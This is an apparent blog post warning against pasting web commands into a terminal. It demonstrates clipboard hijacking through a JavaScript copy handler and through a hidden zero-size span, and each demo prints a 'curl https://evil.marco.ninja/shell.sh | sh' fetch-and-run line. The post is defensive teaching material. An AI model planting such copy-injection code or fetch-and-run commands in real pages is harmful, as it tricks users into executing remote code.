Copy & Paste Is Dangerous


Copy & paste from untrusted sources on the internet into the terminal is a really bad idea! Early in my career I did it too and still often see others doing it.

With this post I want to warn about the dangers of this behavior and show a safer way of working. Let’s first showcase a couple of ways of doing evil thins when you copy from an untrusted source

Example 1: Swapping the clipboard

Copy this command and paste it into the text box below.

some-harmless-command

Notice two things:

  • The command is something different than you expected
  • A new line got inserted at the end of it, meaning it would have executed directly in many shells

How it works

This is the code of this page relevant to the injection attack. It basically intercepts the copy event and puts something completely different into your clipboard.

<pre id="evilCopy">some-harmless-command</pre>
<script>
  document.getElementById("evilCopy").addEventListener("copy", function (e) {
    e.clipboardData.setData(
      "text/plain",
      "curl https://evil.marco.ninja/shell.sh | sh\n"
    );
    e.preventDefault();
  });
</script>

Example 2: Now you see me

There is a possibility the previous example did not work on you because you have JavaScript disabled, so let’s do it again, without JavaScript this time.

Once again, copy the command and paste it into the text box below.

some-harmless-;curl https://evil.marco.ninja/shell.sh | sh;command

Notice these two things again:

  • The command is something different than you expected
  • A new line got inserted at the end of it, meaning it would have executed directly in many shells

How it works

This time there is now JavaScript involved at all, this is all the code there is.

<pre>some-harmless-<span style="font-size: 0;">;curl http://evil.marco.ninja/shell.sh | sh;</span>command<br></pre>

How to protect against it

Unfortunately there isn’t much we can do on the browser side to protect against such injection attacks.

But it is still quite easy to protect against this kind of attack: NEVER paste directly into your terminal!

Instead, paste into your trusty old text editor and take it from there, or even better don’t paste at all but type out your own commands, using the internet only as reference material.

See also